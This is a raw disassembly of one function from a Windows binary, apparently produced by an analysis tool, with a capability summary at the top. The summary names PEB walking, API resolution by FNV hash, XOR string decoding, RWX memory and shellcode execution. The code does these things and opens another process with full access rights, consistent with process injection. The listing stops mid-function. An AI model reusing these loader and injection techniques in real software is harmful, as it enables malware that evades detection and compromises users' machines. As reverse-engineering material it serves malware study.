Function at 0x4332a0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file size
Hash data using fnv
Parse pe header
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49e88a
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x608
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
push 0x40
lea eax, [ebp - 0x64]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x68], 0x44
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
push esi
push 0
push 0
push 1
push 0
push 0
push 0x506c38
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x439ee9
mov ecx, dword [ebp - 0x78]
mov edx, 0x4d9688
push 0
push 1
push 1
push 1
push 1
push 1
push 0x2c600
call fcn.0040e7f0
add esp, 0x1c
test al, al
jne 0x433777
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x300], ecx
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x300]
xorps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x300]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x300], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x2f0]
push eax
movaps xmmword [ebp - 0x2f0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43357a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43357a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xfa508224
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43356d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433550
cmp esi, 0x86241d0
je 0x43357e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x433530
mov eax, dword [eax]
jmp 0x433500
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43362a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43362a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xd8d1f187
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43361d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433600
cmp esi, 0x4276a95b
je 0x43362e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4335e0
mov eax, dword [eax]
jmp 0x4335b2
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0xe4], eax
mov ax, word [0x4b0820]
mov word [ebp - 0xe0], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x4336fa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4336fa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xe9f82af1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4336ed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4336d0
cmp esi, 0x37cdc5d0
je 0x4336fe
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4336b0
mov eax, dword [eax]
jmp 0x433680
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xe4], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x433730
lea eax, [ebp - 0xe4]
jmp 0x43a282
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x4337fa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4337fa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xfa1d48a5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4337ed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4337d0
cmp esi, 0x7d428445
je 0x4337fe
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4337b0
mov eax, dword [eax]
jmp 0x433783
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push dword [ebp - 0x78]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x506bc8
lea ecx, [ebp - 0x494]
call fcn.0040d3d0
push 0x506be0
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 1
call fcn.0040d3d0
lea eax, [ebp - 0x494]
push eax
lea ecx, [ebp - 0x47c]
call fcn.004216f0
lea ecx, [ebp - 0x47c]
mov byte [ebp - 0xd9], al
call fcn.00402420
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0
call fcn.00402420
cmp byte [ebp - 0xd9], 0
jne 0x433ce0
movups xmm0, xmmword [0x4b0924]
mov eax, dword [0x4b0944]
xor edx, edx
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0x3e8], xmm0
mov dword [ebp - 0x3c8], eax
movups xmm0, xmmword [0x4b0934]
mov ax, word [0x4b0948]
mov word [ebp - 0x3c4], ax
movups xmmword [ebp - 0x3d8], xmm0
mov dword [ebp - 0x9c], edx
jl 0x4339f1
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x3ec]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x3ec], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x3e8]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x3e8], xmm2
add eax, 8
cmp eax, 0x24
jl 0x433901
mov dword [ebp - 0x9c], edx
cmp edx, 0x26
jge 0x433a28
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x9c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3e8], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0x26
jl 0x4339f1
lea eax, [ebp - 0x3e8]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.0040d390
lea ecx, [ebp - 0x4ac]
mov byte [ebp - 4], 2
call fcn.00430690
lea ecx, [ebp - 0x4ac]
mov byte [ebp - 4], 0
call fcn.00402420
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x433ada
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x433ada
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x401bdbe3
mov cl, byte [edx]
inc edx
test cl, cl
je 0x433acd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433ab0
cmp esi, 0xde54539b
je 0x433ade
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x433a90
mov eax, dword [eax]
jmp 0x433a64
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x433b8a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x433b8a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x4427749a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x433b7d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433b60
cmp esi, 0xd9a5fc3d
je 0x433b8e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x433b40
mov eax, dword [eax]
jmp 0x433b12
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0xec], eax
mov ax, word [0x4b0820]
mov word [ebp - 0xe8], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x433c5a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x433c5a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xa1af9c48
mov cl, byte [edx]
inc edx
test cl, cl
je 0x433c4d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433c30
cmp esi, 0x1a943d49
je 0x433c5e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x433c10
mov eax, dword [eax]
jmp 0x433be0
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xec], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x433c90
lea eax, [ebp - 0xec]
jmp 0x43a282
mov ax, word [0x4b082c]
xor edx, edx
movq xmm0, qword [str.PLXeH_]
mov word [ebp - 0x170], ax
mov al, byte [0x4b082e]
mov byte [ebp - 0x16e], al
movq qword [ebp - 0x178], xmm0
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x178], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0xb
jl 0x433d10
lea ecx, [ebp - 0x178]
call fcn.00431680
cmp eax, 0xffffffff
jne 0x433e18
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x9c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0xa4], ecx
cmp ecx, edx
je 0x433dea
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x433dea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
nop dword [eax + eax]
sub ecx, 4
dec edi
mov dword [ebp - 0xa8], ecx
mov esi, 0xc697a81e
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x433ddd
nop word [eax + eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x433dc0
cmp esi, 0x51cb7c81
je 0x433dee
mov ecx, dword [ebp - 0xa8]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x433da0
mov eax, dword [eax]
jmp 0x433d70
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x433ce0
mov ax, word [0x4b082c]
xor edx, edx
movq xmm0, qword [str.PLXeH_]
mov word [ebp - 0x1a0], ax
mov al, byte [0x4b082e]
movq qword [ebp - 0x1a8], xmm0
mov byte [ebp - 0x19e], al
mov dword [ebp - 0x9c], edx
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1a8], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0xb
jl 0x433e50
lea ecx, [ebp - 0x1a8]
call fcn.00431680
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push edi
push 0
push 0x1fffff
mov dword [ebp - 0xa8], edi
call esi
mov dword [ebp - 0xd4], eax
test eax, eax
jne 0x433f57
nop dword [eax]
mov ax, word [0x4b082c]
xor edx, edx
movq xmm0, qword [str.PLXeH_]
mov word [ebp - 0x194], ax
mov al, byte [0x4b082e]
movq qword [ebp - 0x19c], xmm0
mov byte [ebp - 0x192], al
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x19c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0xb
jl 0x433ef0
lea ecx, [ebp - 0x19c]
call fcn.00431680
mov edi, eax
mov dword [ebp - 0xa8], eax
push edi
push 0
push 0x1fffff
call esi
mov dword [ebp - 0xd4], eax
test eax, eax
je 0x433ec0
mov edx, edi
mov ecx, eax
call fcn.004318a0
test al, al
jne 0x4342d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x320]
xorps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x320], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x310]
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43418c
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43418c
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x9a17691b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43417f
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434162
cmp esi, 0x3708d153
je 0x434190
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434147
mov eax, dword [eax]
jmp 0x434114
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0xf4], eax
mov ax, word [0x4b0820]
mov word [ebp - 0xf0], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43425a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43425a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x56ef89d6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43424d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434230
cmp esi, 0xc1e4c17
je 0x43425e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434213
mov eax, dword [eax]
jmp 0x4341e0
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xf4], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x434290
lea eax, [ebp - 0xf4]
jmp 0x43a282
mov dword [ebp - 0x98], 0x18f827d2
mov dword [ebp - 0x94], 0x33db4fe7
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x98], 0xc7f2f5da
mov dword [ebp - 0x94], 0xea5ff911
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x98], 0x5d228a91
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
